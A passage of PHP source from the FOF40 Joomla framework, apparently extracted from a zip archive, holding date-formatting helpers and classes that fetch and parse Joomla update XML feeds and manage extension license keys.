specified in a date string we assume it's GMT. * * $translate requires you to have loaded the relevant translation file (e.g. en-GB.ini). CMSApplication does that * for you automatically. If you're under CLI, a custom WebApplication etc you will probably have to load this file * manually. * * @param string|null $format Timestamp format. If empty $defaultFormat is used. * @param User|null $user Applicable user for timezone calculation. Null = current * user. * @param DateTime|Date|string|int|null $time Source time. Leave blank for current date/time. * @param bool $translate Translate day of week and month names? * * @return string */ public function getLocalTimeStamp(?string $format = null, ?User $user = null, $time = null, bool $translate = false): string { $date = $this->getLocalDateTime($user, $time); $format = empty($format) ? $this->defaultFormat : $format; return $date->format($format, true, $translate); } /** * Returns a formatted date string in the GMT timezone. * * If no format is specified we will use $defaultFormat. * * If no user is specified the current user will be used. * * $time can be a DateTime object (including Date and Joomla Date), an integer (UNIX timestamp) or a date string. * If no timezone is specified in a date string we assume it's the user's applicable timezone. * * $translate requires you to have loaded the relevant translation file (e.g. en-GB.ini). CMSApplication does that * for you automatically. If you're under CLI, a custom WebApplication etc you will probably have to load this file * manually. * * @param string|null $format Timestamp format. If empty $defaultFormat is used. * @param User|null $user Applicable user for timezone calculation. Null = current * user. * @param DateTime|Date|string|int|null $time Source time. Leave blank for current date/time. * @param bool $translate Translate day of week and month names? * * @return string */ public function getGMTTimeStamp(?string $format = null, ?User $user = null, $time = null, bool $translate = false): string { $date = $this->localToGMT($user, $time); $format = empty($format) ? $this->defaultFormat : $format; return $date->format($format, true, $translate); } /** * Convert a local time back to GMT. Returns a Date object with its timezone set to GMT. * * This is an alias to getGMTDateTime * * @param string|Date $time * @param User|null $user * * @return Date */ public function localToGMT($time, ?User $user = null): Date { return $this->getGMTDateTime($user, $time); } /** * Convert a GMT time to local timezone. Returns a Date object with its timezone set to the applicable user's TZ. * * This is an alias to getLocalDateTime * * @param string|Date $time * @param User|null $user * * @return Date */ public function GMTToLocal($time, ?User $user = null): Date { return $this->getLocalDateTime($user, $time); } } PK���\d�Y� � fof40/Update/Extension.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Update; defined('_JEXEC') || die; use Exception; use FOF40\Container\Container; use FOF40\Download\Download; use SimpleXMLElement; /** * A helper class to read and parse "extension" update XML files over the web */ class Extension { /** * Reads an "extension" XML update source and returns all listed update entries. * * If you have a "collection" XML update source you should do something like this: * $collection = new \FOF40\Update\Collection(); * $extensionUpdateURL = $collection->getExtensionUpdateSource($url, 'component', 'com_foobar', JVERSION); * $extension = new \FOF40\Update\Extension(); * $updates = $extension->getUpdatesFromExtension($extensionUpdateURL); * * @param string $url The extension XML update source URL to read from * * @return array An array of update entries */ public function getUpdatesFromExtension(string $url): array { // Initialise $ret = []; // Get and parse the XML source $container = Container::getInstance('com_FOOBAR'); $downloader = new Download($container); $xmlSource = $downloader->getFromURL($url); try { $xml = new SimpleXMLElement($xmlSource, LIBXML_NONET); } catch (Exception $e) { return $ret; } // Sanity check if (($xml->getName() != 'updates')) { unset($xml); return $ret; } // Let's populate the list of updates /** @var SimpleXMLElement $update */ foreach ($xml->children() as $update) { // Sanity check if ($update->getName() != 'update') { continue; } $entry = [ 'infourl' => ['title' => '', 'url' => ''], 'downloads' => [], 'tags' => [], 'targetplatform' => [], ]; $properties = get_object_vars($update); foreach ($properties as $nodeName => $nodeContent) { switch ($nodeName) { default: $entry[$nodeName] = $nodeContent; break; case 'infourl': case 'downloads': case 'tags': case 'targetplatform': break; } } $infourlNode = $update->xpath('infourl'); $entry['infourl']['title'] = (string) $infourlNode[0]['title']; $entry['infourl']['url'] = (string) $infourlNode[0]; $downloadNodes = $update->xpath('downloads/downloadurl'); foreach ($downloadNodes as $downloadNode) { $entry['downloads'][] = [ 'type' => (string) $downloadNode['type'], 'format' => (string) $downloadNode['format'], 'url' => (string) $downloadNode, ]; } $tagNodes = $update->xpath('tags/tag'); foreach ($tagNodes as $tagNode) { $entry['tags'][] = (string) $tagNode; } /** @var SimpleXMLElement[] $targetPlatformNode */ $targetPlatformNode = $update->xpath('targetplatform'); $entry['targetplatform']['name'] = (string) $targetPlatformNode[0]['name']; $entry['targetplatform']['version'] = (string) $targetPlatformNode[0]['version']; $client = $targetPlatformNode[0]->xpath('client'); $entry['targetplatform']['client'] = (is_array($client) && count($client)) ? (string) $client[0] : ''; $folder = $targetPlatformNode[0]->xpath('folder'); $entry['targetplatform']['folder'] = is_array($folder) && count($folder) ? (string) $folder[0] : ''; $ret[] = $entry; } unset($xml); return $ret; } } PK���\��-�'�'fof40/Update/Collection.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Update; defined('_JEXEC') || die; use Exception; use FOF40\Container\Container; use FOF40\Download\Download; use SimpleXMLElement; class Collection { /** * Reads a "collection" XML update source and returns the complete tree of categories * and extensions applicable for platform version $jVersion * * @param string $url The collection XML update source URL to read from * @param string|null $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return array A list of update sources applicable to $jVersion */ public function getAllUpdates(string $url, ?string $jVersion = null): array { // Get the target platform if (is_null($jVersion)) { $jVersion = JVERSION; } // Initialise return value $updates = [ 'metadata' => [ 'name' => '', 'description' => '', ], 'categories' => [], 'extensions' => [], ]; // Download and parse the XML file $container = Container::getInstance('com_foobar'); $downloader = new Download($container); $xmlSource = $downloader->getFromURL($url); try { $xml = new SimpleXMLElement($xmlSource, LIBXML_NONET); } catch (Exception $e) { return $updates; } // Sanity check if (($xml->getName() != 'extensionset')) { unset($xml); return $updates; } // Initialise return value with the stream metadata (name, description) $rootAttributes = $xml->attributes(); foreach ($rootAttributes as $k => $v) { $updates['metadata'][$k] = (string) $v; } // Initialise the raw list of updates $rawUpdates = [ 'categories' => [], 'extensions' => [], ]; // Segregate the raw list to a hierarchy of extension and category entries /** @var SimpleXMLElement $extension */ foreach ($xml->children() as $extension) { switch ($extension->getName()) { case 'category': // These are the parameters we expect in a category $params = [ 'name' => '', 'description' => '', 'category' => '', 'ref' => '', 'targetplatformversion' => $jVersion, ]; // These are the attributes of the element $attributes = $extension->attributes(); // Merge them all foreach ($attributes as $k => $v) { $params[$k] = (string) $v; } // We can't have a category with an empty category name if (empty($params['category'])) { continue; } // We can't have a category with an empty ref if (empty($params['ref'])) { continue; } if (empty($params['description'])) { $params['description'] = $params['category']; } if (!array_key_exists($params['category'], $rawUpdates['categories'])) { $rawUpdates['categories'][$params['category']] = []; } $rawUpdates['categories'][$params['category']][] = $params; break; case 'extension': // These are the parameters we expect in a category $params = [ 'element' => '', 'type' => '', 'version' => '', 'name' => '', 'detailsurl' => '', 'targetplatformversion' => $jVersion, ]; // These are the attributes of the element $attributes = $extension->attributes(); // Merge them all foreach ($attributes as $k => $v) { $params[$k] = (string) $v; } // We can't have an extension with an empty element if (empty($params['element'])) { continue; } // We can't have an extension with an empty type if (empty($params['type'])) { continue; } // We can't have an extension with an empty version if (empty($params['version'])) { continue; } if (empty($params['name'])) { $params['name'] = $params['element'] . ' ' . $params['version']; } if (!array_key_exists($params['type'], $rawUpdates['extensions'])) { $rawUpdates['extensions'][$params['type']] = []; } if (!array_key_exists($params['element'], $rawUpdates['extensions'][$params['type']])) { $rawUpdates['extensions'][$params['type']][$params['element']] = []; } $rawUpdates['extensions'][$params['type']][$params['element']][] = $params; break; default: break; } } unset($xml); foreach ($rawUpdates['categories'] as $category => $entries) { $update = $this->filterListByPlatform($entries, $jVersion); $updates['categories'][$category] = $update; } foreach ($rawUpdates['extensions'] as $type => $extensions) { $updates['extensions'][$type] = []; foreach ($extensions as $element => $entries) { $update = $this->filterListByPlatform($entries, $jVersion); $updates['extensions'][$type][$element] = $update; } } return $updates; } /** * Returns only the category definitions of a collection * * @param string $url The URL of the collection update source * @param string|null $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return array An array of category update definitions */ public function getCategories(string $url, ?string $jVersion = null): array { $allUpdates = $this->getAllUpdates($url, $jVersion); return $allUpdates['categories']; } /** * Returns the update source for a specific category * * @param string $url The URL of the collection update source * @param string $category The category name you want to get the update source URL of * @param string|null $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return string|null The update stream URL, or null if it's not found */ public function getCategoryUpdateSource(string $url, string $category, ?string $jVersion = null): ?string { $allUpdates = $this->getAllUpdates($url, $jVersion); if (array_key_exists($category, $allUpdates['categories'])) { return $allUpdates['categories'][$category]['ref']; } else { return null; } } /** * Get a list of updates for extensions only, optionally of a specific type * * @param string $url The URL of the collection update source * @param string $type The extension type you want to get the update source URL of, empty to get all * extension types * @param string|null $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return array|null An array of extension update definitions or null if none is found */ public function getExtensions(string $url, ?string $type = null, ?string $jVersion = null): ?array { $allUpdates = $this->getAllUpdates($url, $jVersion); if (empty($type)) { return $allUpdates['extensions']; } elseif (array_key_exists($type, $allUpdates['extensions'])) { return $allUpdates['extensions'][$type]; } else { return null; } } /** * Get the update source URL for a specific extension, based on the type and element, e.g. * type=file and element=joomla is Joomla! itself. * * @param string $url The URL of the collection update source * @param string $type The extension type you want to get the update source URL of * @param string $element The extension element you want to get the update source URL of * @param string|null $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return string|null The update source URL or null if the extension is not found */ public function getExtensionUpdateSource(string $url, string $type, string $element, ?string $jVersion = null): ?string { $allUpdates = $this->getExtensions($url, $type, $jVersion); if (empty($allUpdates)) { return null; } elseif (array_key_exists($element, $allUpdates)) { return $allUpdates[$element]['detailsurl']; } else { return null; } } /** * Filters a list of updates, returning only those available for the * specified platform version $jVersion * * @param array $updates An array containing update definitions (categories or extensions) * @param string $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return array|null The update definition that is compatible, or null if none is compatible */ private function filterListByPlatform(array $updates, ?string $jVersion = null): ?array { // Get the target platform if (is_null($jVersion)) { $jVersion = JVERSION; } $versionParts = explode('.', $jVersion, 4); $platformVersionMajor = $versionParts[0]; $platformVersionMinor = (count($versionParts) > 1) ? $platformVersionMajor . '.' . $versionParts[1] : $platformVersionMajor; $platformVersionNormal = (count($versionParts) > 2) ? $platformVersionMinor . '.' . $versionParts[2] : $platformVersionMinor; $platformVersionFull = (count($versionParts) > 3) ? $platformVersionNormal . '.' . $versionParts[3] : $platformVersionNormal; $pickedExtension = null; $pickedSpecificity = -1; foreach ($updates as $update) { // Test the target platform $targetPlatform = (string) $update['targetplatformversion']; if ($targetPlatform === $platformVersionFull) { $pickedExtension = $update; $pickedSpecificity = 4; } elseif (($targetPlatform === $platformVersionNormal) && ($pickedSpecificity <= 3)) { $pickedExtension = $update; $pickedSpecificity = 3; } elseif (($targetPlatform === $platformVersionMinor) && ($pickedSpecificity <= 2)) { $pickedExtension = $update; $pickedSpecificity = 2; } elseif (($targetPlatform === $platformVersionMajor) && ($pickedSpecificity <= 1)) { $pickedExtension = $update; $pickedSpecificity = 1; } } return $pickedExtension; } } PK���\a ��'3'3fof40/Update/Joomla.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Update; defined('_JEXEC') || die; class Joomla extends Extension { /** * The source for LTS updates * * @var string */ protected static $lts_url = 'http://update.joomla.org/core/list.xml'; /** * The source for STS updates * * @var string */ protected static $sts_url = 'http://update.joomla.org/core/sts/list_sts.xml'; /** * The source for test release updates * * @var string */ protected static $test_url = 'http://update.joomla.org/core/test/list_test.xml'; /** * Reads a "collection" XML update source and picks the correct source URL * for the extension update source. * * @param string $url The collection XML update source URL to read from * @param string|null $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return string The URL of the extension update source, or empty if no updates are provided / fetching failed */ public function getUpdateSourceFromCollection(string $url, ?string $jVersion = null): string { $provider = new Collection(); return $provider->getExtensionUpdateSource($url, 'file', 'joomla', $jVersion); } /** * Determines the properties of a version: STS/LTS, normal or testing * * @param string $jVersion The version number to check * @param string|null $currentVersion The current Joomla! version number * * @return array The properties analysis */ public function getVersionProperties(string $jVersion, ?string $currentVersion = null): array { // Initialise $ret = [ 'lts' => true, // Is this an LTS release? False means STS. 'current' => false, // Is this a release in the $currentVersion branch? 'upgrade' => 'none', // Upgrade relation of $jVersion to $currentVersion: 'none' (can't upgrade), 'lts' (next or current LTS), 'sts' (next or current STS) or 'current' (same release, no upgrade available) 'testing' => false, // Is this a testing (alpha, beta, RC) release? ]; // Get the current version if none is defined if (is_null($currentVersion)) { $currentVersion = JVERSION; } // Sanitise version numbers $sameVersion = $jVersion === $currentVersion; $jVersion = $this->sanitiseVersion($jVersion); $currentVersion = $this->sanitiseVersion($currentVersion); $sameVersion = $sameVersion || ($jVersion === $currentVersion); // Get the base version $baseVersion = substr($jVersion, 0, 3); // Get the minimum and maximum current version numbers $current_minimum = substr($currentVersion, 0, 3); $current_maximum = $current_minimum . '.9999'; // Initialise STS/LTS version numbers $sts_minimum = false; $sts_maximum = false; $lts_minimum = false; // Is it an LTS or STS release? switch ($baseVersion) { case '1.5': $ret['lts'] = true; break; case '1.6': $ret['lts'] = false; $sts_minimum = '1.7'; $sts_maximum = '1.7.999'; $lts_minimum = '2.5'; break; case '1.7': $ret['lts'] = false; $sts_minimum = false; $lts_minimum = '2.5'; break; case '2.5': $ret['lts'] = true; $sts_minimum = false; $lts_minimum = '2.5'; break; default: $majorVersion = (int) substr($jVersion, 0, 1); //$minorVersion = (int) substr($jVersion, 2, 1); $ret['lts'] = true; $sts_minimum = false; $lts_minimum = $majorVersion . '.0'; break; } // Is it a current release? if (version_compare($jVersion, $current_minimum, 'ge') && version_compare($jVersion, $current_maximum, 'le')) { $ret['current'] = true; } // Is this a testing release? $versionParts = explode('.', $jVersion); $lastVersionPart = array_pop($versionParts); if (in_array(substr($lastVersionPart, 0, 1), ['a', 'b'])) { $ret['testing'] = true; } elseif (substr($lastVersionPart, 0, 2) == 'rc') { $ret['testing'] = true; } elseif (substr($lastVersionPart, 0, 3) == 'dev') { $ret['testing'] = true; } // Find the upgrade relation of $jVersion to $currentVersion if (version_compare($jVersion, $currentVersion, 'eq')) { $ret['upgrade'] = 'current'; } elseif (($sts_minimum !== false) && version_compare($jVersion, $sts_minimum, 'ge') && version_compare($jVersion, $sts_maximum, 'le')) { $ret['upgrade'] = 'sts'; } elseif (($lts_minimum !== false) && version_compare($jVersion, $lts_minimum, 'ge')) { $ret['upgrade'] = 'lts'; } elseif ($baseVersion === $current_minimum) { $ret['upgrade'] = $ret['lts'] ? 'lts' : 'sts'; } else { $ret['upgrade'] = 'none'; } if ($sameVersion) { $ret['upgrade'] = 'none'; } return $ret; } /** * Filters a list of updates, making sure they apply to the specified CMS * release. * * @param array $updates A list of update records returned by the getUpdatesFromExtension method * @param string|null $jVersion The current Joomla! version number * * @return array A filtered list of updates. Each update record also includes version relevance information. */ public function filterApplicableUpdates(array $updates, ?string $jVersion = null): array { if (empty($jVersion)) { $jVersion = JVERSION; } $versionParts = explode('.', $jVersion, 4); $platformVersionMajor = $versionParts[0]; $platformVersionMinor = $platformVersionMajor . '.' . $versionParts[1]; //$platformVersionNormal = $platformVersionMinor . '.' . $versionParts[2]; //$platformVersionFull = (count($versionParts) > 3) ? $platformVersionNormal . '.' . $versionParts[3] : $platformVersionNormal; $ret = []; foreach ($updates as $update) { // Check each update for platform match if (strtolower($update['targetplatform']['name']) != 'joomla') { continue; } $targetPlatformVersion = $update['targetplatform']['version']; if (!preg_match('/' . $targetPlatformVersion . '/', $platformVersionMinor)) { continue; } // Get some information from the version number $updateVersion = $update['version']; $versionProperties = $this->getVersionProperties($updateVersion, $jVersion); if ($versionProperties['upgrade'] == 'none') { continue; } // The XML files are ill-maintained. Maybe we already have this update? if (!array_key_exists($updateVersion, $ret)) { $ret[$updateVersion] = array_merge($update, $versionProperties); } } return $ret; } /** * Joomla! has a lousy track record in naming its alpha, beta and release * candidate releases. The convention used seems to be "what the hell the * current package maintainer thinks looks better". This method tries to * figure out what was in the mind of the maintainer and translate the * funky version number to an actual PHP-format version string. * * @param string $version The whatever-format version number * * @return string A standard formatted version number */ public function sanitiseVersion(string $version): string { $test = strtolower($version); $alphaQualifierPosition = strpos($test, 'alpha-'); $betaQualifierPosition = strpos($test, 'beta-'); $betaQualifierPosition2 = strpos($test, '-beta'); $rcQualifierPosition = strpos($test, 'rc-'); $rcQualifierPosition2 = strpos($test, '-rc'); $rcQualifierPosition3 = strpos($test, 'rc'); $devQualifiedPosition = strpos($test, 'dev'); if ($alphaQualifierPosition !== false) { $betaRevision = substr($test, $alphaQualifierPosition + 6); if ($betaRevision === '') { $betaRevision = 1; } $test = substr($test, 0, $alphaQualifierPosition) . '.a' . $betaRevision; } elseif ($betaQualifierPosition !== false) { $betaRevision = substr($test, $betaQualifierPosition + 5); if ($betaRevision === '') { $betaRevision = 1; } $test = substr($test, 0, $betaQualifierPosition) . '.b' . $betaRevision; } elseif ($betaQualifierPosition2 !== false) { $betaRevision = substr($test, $betaQualifierPosition2 + 5); if ($betaRevision === '') { $betaRevision = 1; } $test = substr($test, 0, $betaQualifierPosition2) . '.b' . $betaRevision; } elseif ($rcQualifierPosition !== false) { $betaRevision = substr($test, $rcQualifierPosition + 5); if ($betaRevision === '') { $betaRevision = 1; } $test = substr($test, 0, $rcQualifierPosition) . '.rc' . $betaRevision; } elseif ($rcQualifierPosition2 !== false) { $betaRevision = substr($test, $rcQualifierPosition2 + 3); if ($betaRevision === '') { $betaRevision = 1; } $test = substr($test, 0, $rcQualifierPosition2) . '.rc' . $betaRevision; } elseif ($rcQualifierPosition3 !== false) { $betaRevision = substr($test, $rcQualifierPosition3 + 5); if ($betaRevision === '') { $betaRevision = 1; } $test = substr($test, 0, $rcQualifierPosition3) . '.rc' . $betaRevision; } elseif ($devQualifiedPosition !== false) { $betaRevision = substr($test, $devQualifiedPosition + 6); if ($betaRevision === '') { $betaRevision = ''; } $test = substr($test, 0, $devQualifiedPosition) . '.dev' . $betaRevision; } return $test; } /** * Reloads the list of all updates available for the specified Joomla! version * from the network. * * @param array $sources The enabled sources to look into * @param string|null $jVersion The Joomla! version we are checking updates for * * @return array A list of updates for the installed, current, lts and sts versions */ public function getUpdates(array $sources = [], ?string $jVersion = null): array { // Make sure we have a valid list of sources if (empty($sources) || !is_array($sources)) { $sources = []; } $defaultSources = ['lts' => true, 'sts' => true, 'test' => true, 'custom' => '']; $sources = array_merge($defaultSources, $sources); // Use the current JVERSION if none is specified if (empty($jVersion)) { $jVersion = JVERSION; } // Get the current branch' min/max versions $versionParts = explode('.', $jVersion, 4); $currentMinVersion = $versionParts[0] . '.' . $versionParts[1]; $currentMaxVersion = $versionParts[0] . '.' . $versionParts[1] . '.9999'; // Retrieve all updates $allUpdates = []; foreach ($sources as $source => $value) { if (($value === false) || empty($value)) { continue; } switch ($source) { default: case 'lts': $url = self::$lts_url; break; case 'sts': $url = self::$sts_url; break; case 'test': $url = self::$test_url; break; case 'custom': $url = $value; break; } $url = $this->getUpdateSourceFromCollection($url, $jVersion); if (!empty($url)) { $updates = $this->getUpdatesFromExtension($url); if (!empty($updates)) { $applicableUpdates = $this->filterApplicableUpdates($updates, $jVersion); if (!empty($applicableUpdates)) { $allUpdates = array_merge($allUpdates, $applicableUpdates); } } } } $ret = [ // Currently installed version (used to reinstall, if available) 'installed' => [ 'version' => '', 'package' => '', 'infourl' => '', ], // Current branch 'current' => [ 'version' => '', 'package' => '', 'infourl' => '', ], // Upgrade to STS release 'sts' => [ 'version' => '', 'package' => '', 'infourl' => '', ], // Upgrade to LTS release 'lts' => [ 'version' => '', 'package' => '', 'infourl' => '', ], // Upgrade to LTS release 'test' => [ 'version' => '', 'package' => '', 'infourl' => '', ], ]; foreach ($allUpdates as $update) { $sections = []; if ($update['upgrade'] == 'current') { $sections[0] = 'installed'; } elseif (version_compare($update['version'], $currentMinVersion, 'ge') && version_compare($update['version'], $currentMaxVersion, 'le')) { $sections[0] = 'current'; } else { $sections[0] = ''; } $sections[1] = $update['lts'] ? 'lts' : 'sts'; if ($update['testing']) { $sections = ['test']; } foreach ($sections as $section) { if (empty($section)) { continue; } $existingVersionForSection = $ret[$section]['version']; if (empty($existingVersionForSection)) { $existingVersionForSection = '0.0.0'; } if (version_compare($update['version'], $existingVersionForSection, 'ge')) { $ret[$section]['version'] = $update['version']; $ret[$section]['package'] = $update['downloads'][0]['url']; $ret[$section]['infourl'] = $update['infourl']['url']; } } } // Catch the case when the latest current branch version is the installed version (up to date site) if (empty($ret['current']['version']) && !empty($ret['installed']['version'])) { $ret['current'] = $ret['installed']; } return $ret; } } PK���\ kc`8�8�fof40/Update/Update.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Update; defined('_JEXEC') || die; use Exception; use FOF40\Container\Container; use FOF40\JoomlaAbstraction\CacheCleaner; use FOF40\Model\Model; use Joomla\CMS\Component\ComponentHelper as JComponentHelper; use Joomla\CMS\Updater\Updater as JUpdater; use SimpleXMLElement; /** * A helper Model to interact with Joomla!'s extensions update feature */ class Update extends Model { /** @var JUpdater The Joomla! updater object */ protected $updater; /** @var int The extension_id of this component */ protected $extension_id = 0; /** @var string The currently installed version, as reported by the #__extensions table */ protected $version = 'dev'; /** @var string The name of the component e.g. com_something */ protected $component = 'com_foobar'; /** @var string The URL to the component's update XML stream */ protected $updateSite; /** @var string The name to the component's update site (description of the update XML stream) */ protected $updateSiteName; /** @var string The extra query to append to (commercial) components' download URLs */ protected $extraQuery; /** @var string The component Options key which stores a copy of the Download ID */ protected $paramsKey = 'update_dlid'; /** * Caches the extension names to IDs so we don't query the database too many times. * * @var array */ private $extensionIds = []; /** * Public constructor. Initialises the protected members as well. Useful $config keys: * update_component The component name, e.g. com_foobar * update_version The default version if the manifest cache is unreadable * update_site The URL to the component's update XML stream * update_extraquery The extra query to append to (commercial) components' download URLs * update_sitename The update site's name (description) * update_paramskey The component parameters key which holds the license key in J3 (and a copy of it in J4) * * @param array|Container|\ArrayAccess $config */ public function __construct($config = []) { $container = Container::getInstance('com_FOOBAR'); if (isset($config['update_container']) && is_object($config['update_container']) && ($config['update_container'] instanceof Container)) { $container = $config['update_container']; } parent::__construct($container); // Get an instance of the updater class $this->updater = JUpdater::getInstance(); $this->component = $config['update_component'] ?? $this->input->getCmd('option', ''); // Get the component version if (isset($config['update_version'])) { $this->version = $config['update_version']; } // Get the update site if (isset($config['update_site'])) { $this->updateSite = $config['update_site']; } // Get the extra query if (isset($config['update_extraquery'])) { $this->extraQuery = $config['update_extraquery']; } // Get the extra query if (isset($config['update_sitename'])) { $this->updateSiteName = $config['update_sitename']; } // Get the extra query if (isset($config['update_paramskey'])) { $this->paramsKey = $config['update_paramskey']; } // Get the extension type $extension = $this->getExtensionObject(); if (is_object($extension)) { $this->extension_id = $extension->extension_id; if (empty($this->version) || ($this->version == 'dev')) { $data = json_decode($extension->manifest_cache, true); if (isset($data['version'])) { $this->version = $data['version']; } } } } /** * Gets the license key for a paid extension. * * On Joomla! 3 or when $forceLegacy is true we look in the component Options. * * On Joomla! 4 we use the information in the dlid element of the extension's XML manifest to parse the extra_query * fields of all configured update sites of the extension. This is the same thing Joomla does when it tries to * determine the license key of our extension when installing updates. If the extension is missing, it has no * associated update sites, the update sites are missing / rebuilt / disassociated from the extension or the * extra_query of all update site records is empty we parse the $extraQuery set in the constructor, if any. Also * note that on Joomla 4 mode if the extension does not exist, does not have a manifest or does not have a valid * dlid element in its manifest we will end up returning an empty string, just like Joomla! itself would have done * when installing updates. * * @param bool $forceLegacy Should I always retrieve the legacy license key, even in J4? * * @return string */ public function getLicenseKey(bool $forceLegacy = false): string { $legacyParamsKey = $this->getLegacyParamsKey(); // Joomla 3 (Legacy): Download ID stored in the component options if ($forceLegacy || !version_compare(JVERSION, '3.999.999', 'gt')) { return $this->container->params->get($legacyParamsKey, ''); } // Joomla! 4. We need to parse the extra_query of the update sites to get the correct Download ID. $updateSites = $this->getUpdateSites(); $extra_query = array_reduce($updateSites, function ($extra_query, $updateSite) { if (!empty($extra_query)) { return $extra_query; } return $updateSite['extra_query']; }, ''); // Fall back to legacy extra query if (empty($extra_query)) { $extra_query = $this->extraQuery; } // Return the parsed results. return $this->getLicenseKeyFromExtraQuery($extra_query); } /** * Get the contents of all the update sites of the configured extension * * @return array|null */ public function getUpdateSites(): ?array { $updateSiteIDs = $this->getUpdateSiteIds(); $db = $this->container->db; $query = $db->getQuery(true) ->select('*') ->from($db->qn('#__update_sites')) ->where($db->qn('update_site_id') . ' IN (' . implode(', ', $updateSiteIDs) . ')'); try { $db->setQuery($query); $ret = $db->loadAssocList('update_site_id'); } catch (Exception $e) { $ret = null; } return empty($ret) ? [] : $ret; } public function setLicenseKey(string $licenseKey) { $legacyParamsKey = $this->getLegacyParamsKey(); // Sanitize and validate the license key. If it's not valid we set an empty license key. $licenseKey = $this->sanitizeLicenseKey($licenseKey); if (!$this->isValidLicenseKey($licenseKey)) { $licenseKey = ''; } // Update $this->extraQuery. $this->extraQuery = $this->getExtraQueryString($licenseKey); // Save the license key in the component options ($legacyParamsKey) $this->container->params->set($legacyParamsKey, $licenseKey); $this->container->params->save(); // Apply the new extra_query to the update site $this->refreshUpdateSite(); } /** * Copies a Joomla 3 license key from the Options storage to Joomla 4 download key storage (the extra_query column * of the #__update_sites table). * * This method does nothing on Joomla 3. * * @return void */ public function upgradeLicenseKey(): void { // Only applies to Joomla! 4 if (!version_compare(JVERSION, '3.999.999', 'gt')) { return; } // Make sure we DO have a legacy license key $legacyKey = $this->getLicenseKey(true); if (empty($legacyKey)) { return; } // Make sure we DO NOT have a J4 key. If we do, the J4 key wins and gets backported to legacy storage. $licenseKey = $this->getLicenseKey(); if (!empty($licenseKey)) { $this->backportLicenseKey(); return; } // Save the legacy key as non-legacy. This updates the #__update_sites record, applying the license key. $this->setLicenseKey($legacyKey); } /** * Copies a Joomla 4 license key from the download key storage (the extra_query column of the #__update_sites table) * to the legacy Options storage. * * This method does nothing on Joomla 3. * * @return void */ public function backportLicenseKey(): void { $legacyParamsKey = $this->getLegacyParamsKey(); // Only applies to Joomla! 4 if (!version_compare(JVERSION, '3.999.999', 'gt')) { return; } // Make sure we DO have a J4 key $licenseKey = $this->getLicenseKey(); if (empty($licenseKey)) { return; } // Make sure that the legacy key is NOT the same as the J4 key $legacyKey = $this->getLicenseKey(true); if ($legacyKey === $licenseKey) { return; } // Save the license key to the legacy storage (component options) $this->container->params->set($legacyParamsKey, $licenseKey); $this->container->params->save(); } /** * Get an extra query string based on the dlid element of the XML manifest file of the extension. * * If the extension does not exist, the manifest does not exist or it does not have a dlid element we fall back to * the legacy implementation of extra_query (getExtraQueryStringLegacy) * * @param string $licenseKey * * @return string */ public function getExtraQueryString(string $licenseKey): string { // Make sure the (sanitized) license key is valid. Otherwise we return an empty string. $licenseKey = $this->sanitizeLicenseKey($licenseKey); if (!$this->isValidLicenseKey($licenseKey)) { return ''; } // Get a fallback extra query using the legacy method $fallbackExtraQuery = $this->getExtraQueryStringLegacy($licenseKey); // Get the extension XML manifest. If the extension or the manifest don't exist use the fallback extra_query. $extension = $this->getExtensionObject(); if (!$extension) { return $fallbackExtraQuery; } $installXmlFile = $this->getManifestXML( $extension->element, $extension->type, (int) $extension->client_id, $extension->folder ); if (!$installXmlFile) { return $fallbackExtraQuery; } // If the manifest does not have the dlid element return the fallback extra_query. if (!isset($installXmlFile->dlid)) { return $fallbackExtraQuery; } $prefix = (string) $installXmlFile->dlid['prefix']; $suffix = (string) $installXmlFile->dlid['suffix']; return $prefix . $this->sanitizeLicenseKey($licenseKey) . $suffix; } /** * Retrieves the update information of the component, returning an array with the following keys: * * hasUpdate True if an update is available * version The version of the available update * infoURL The URL to the download page of the update * * @param bool $force Set to true if you want to forcibly reload the update information * * @return array See the method description for more information */ public function getUpdates(bool $force = false): array { $db = $this->container->db; // Default response (no update) $updateResponse = [ 'hasUpdate' => false, 'version' => '', 'infoURL' => '', ]; if (empty($this->extension_id)) { return $updateResponse; } // If we had to update the version number stored in the database then we should force reload the updates if ($this->updatedCachedVersionNumber()) { $force = true; } // If we are forcing the reload, set the last_check_timestamp to 0 // and remove cached component update info in order to force a reload if ($force) { // Find the update site IDs $updateSiteIds = $this->getUpdateSiteIds(); if (empty($updateSiteIds)) { return $updateResponse; } // Set the last_check_timestamp to 0 $query = $db->getQuery(true) ->update($db->qn('#__update_sites')) ->set($db->qn('last_check_timestamp') . ' = ' . $db->q('0')) ->where($db->qn('update_site_id') . ' IN (' . implode(', ', $updateSiteIds) . ')'); $db->setQuery($query); $db->execute(); // Remove cached component update info from #__updates $query = $db->getQuery(true) ->delete($db->qn('#__updates')) ->where($db->qn('update_site_id') . ' IN (' . implode(', ', $updateSiteIds) . ')'); $db->setQuery($query); $db->execute(); } // Use the update cache timeout specified in com_installer $comInstallerParams = JComponentHelper::getParams('com_installer', false); $timeout = 3600 * $comInstallerParams->get('cachetimeout', '6'); // Load any updates from the network into the #__updates table $this->updater->findUpdates($this->extension_id, $timeout); // Get the update record from the database $query = $db->getQuery(true) ->select('*') ->from($db->qn('#__updates')) ->where($db->qn('extension_id') . ' = ' . $db->q($this->extension_id)); $db->setQuery($query); $updateRecord = $db->loadObject(); // If we have an update record in the database return the information found there if (is_object($updateRecord)) { $updateResponse = [ 'hasUpdate' => true, 'version' => $updateRecord->version, 'infoURL' => $updateRecord->infourl, ]; } return $updateResponse; } /** * Gets the update site Ids for our extension. * * @return array An array of IDs */ public function getUpdateSiteIds(): array { $db = $this->container->db; $query = $db->getQuery(true) 